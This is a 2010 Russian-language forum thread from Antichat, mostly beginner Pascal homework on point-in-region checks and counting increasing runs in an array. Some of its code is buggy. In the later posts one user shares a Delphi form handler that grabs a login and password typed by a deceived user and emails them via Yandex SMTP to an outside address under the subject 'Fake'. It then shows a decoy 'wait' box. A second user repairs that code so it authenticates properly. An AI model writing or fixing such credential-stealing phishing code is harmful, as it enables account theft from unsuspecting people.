ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
23.03.2010, 13:52
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424
Репутация:
479
|
|
pascal
выяснить принадлежит ли точка с вбиваемыми с клавиатуры координатами заданной области
|
|
|
23.03.2010, 14:35
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344
Репутация:
259
|
|
что то в этом духе:
PHP код:
var x,y:real;
begin
readln(x,y);
if y<=cos(x) then do
begin
if (y<=1) and (y>=0) and (x>=-1.57) and (x<=1.57) then write 'Принадлежит'
else write 'Не принадлежит'
end;
if y>=cos(x) then do
begin
if (y<=0) and (y>=-1) and (x>=1.57) and (x<=3.14) then write 'Принадлежит'
else write 'Не принадлежит'
end;
во переделал
Последний раз редактировалось EndLeSSDre@M; 23.03.2010 в 14:40..
|
|
|
|
23.03.2010, 14:51
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344
Репутация:
259
|
|
Короче нужна программа которая при запуске проверяет в файле наличия строк и если ничего не находит то записывает дынные,которые заданны.
PHP код:
var input:textfile;
n:integer;
begin
Assign(input,'input.txt');
reset(input);
while not EOF(input) do
begin
readln(input,n);
end;
if n=' ' then n=1
вот по идее то что тебе нужно! проверяет на существование данных, если нет, то вбиваешь свои данные, если есть то берет их из файла.
Последний раз редактировалось EndLeSSDre@M; 23.03.2010 в 15:01..
|
|
|
|
23.03.2010, 16:03
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424
Репутация:
479
|
|
Сообщение от EndLeSSDre@M
что то в этом духе:
PHP код:
var x,y:real;
begin
readln(x,y);
if y<=cos(x) then do
begin
if (y<=1) and (y>=0) and (x>=-1.57) and (x<=1.57) then write 'Принадлежит'
else write 'Не принадлежит'
end;
if y>=cos(x) then do
begin
if (y<=0) and (y>=-1) and (x>=1.57) and (x<=3.14) then write 'Принадлежит'
else write 'Не принадлежит'
end;
во переделал спасибо, только откуда числа "1.57" по модулю и "3,14"? о_О
|
|
|
|
23.03.2010, 16:05
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344
Репутация:
259
|
|
спасибо, только откуда числа "1.57" по модулю и "3,14"? о_О
ну просто по рисунку я не догнал точно что за числа... вот и предположил что это пи/2 и пи
там просто разделил на два интервала...где y>=0 и y<=0
|
|
|
|
23.03.2010, 16:41
|
|
Участник форума
Регистрация: 08.01.2010
Сообщений: 155
Провел на форуме:
1008872
Репутация:
22
|
|
помогите найти пожалуйста самый большой учебник MidletPascal буду сидеть учить  |
|
|
|
23.03.2010, 17:06
|
|
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424
Репутация:
479
|
|
Сообщение от EndLeSSDre@M
ну просто по рисунку я не догнал точно что за числа... вот и предположил что это пи/2 и пи
там просто разделил на два интервала...где y>=0 и y<=0
а) и еще ты использовал два раза косинус)
и можно маленькую задачку напоследок?)
PHP код:
uses crt;
var a:array[1..10]of integer;
i,j:integer;
begin
randomize;
for i:=1 to 10 do begin
a[i]:=random(10);write(a[i],'');
end;
for i:=1 to 10 do begin
if a[i+1]> a[i] then
inc(j);
end;
if a[10]<>0 then inc(j);
writeln;writeln(j);
readln;
end.
сколько подряд идущих элементов образуют возр последовательность...вроде работает но не правильно..
|
|
|
|
23.03.2010, 17:08
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@ yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;
end.
Знаю вопрос нубовский, НО почему при нажатии Button появляется окно
 |
|
|
|
23.03.2010, 17:20
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344
Репутация:
259
|
|
сколько подряд идущих элементов образуют возр последовательность...
не совсем понял вопроса... или наибольшее число идущих подряд элементов образующих возр послед, или как??? например: 1 2 4 3 6 3 2 1
тут максимальное количество идущих подряд равно 3 но так же есть и другие возр послед в которых 2 элемента... так все таки уточни задачу
Не дождался ответа, и решил задачу так как я понял ее... в общем выдает максимально число элементов которые идут подряд с возрастанием:
PHP код:
program Project2;
{$APPTYPE CONSOLE}
uses
SysUtils;
var a:array[1..10]of integer;
b:array[1..10]of integer;
i,j,h:integer;
begin
h:=1;
j:=1;
randomize;
for i:=1 to 10 do begin
a[i]:=random(10);
write(a[i],' ');
end;
for i:=1 to 10 do begin
if a[i]> a[i+1] then
begin
inc(j);
end
else
begin
b[h]:=j;
j:=1;
h:=h+1;
end;
end;
h:=h+1;
b[h]:=j;
j:=b[1];
for i:=2 to h do
begin
if b[i]>j then j:=b[i];
end;
writeln;
writeln(j);
readln;
end.
Последний раз редактировалось EndLeSSDre@M; 23.03.2010 в 19:25..
|
|
|
|
23.03.2010, 19:26
|
|
Участник форума
Регистрация: 05.06.2009
Сообщений: 127
Провел на форуме:
1313455
Репутация:
249
|
|
Сообщение от stepashka_
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@ yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;
end.
Знаю вопрос нубовский, НО почему при нажатии Button появляется окно
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;
end.
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
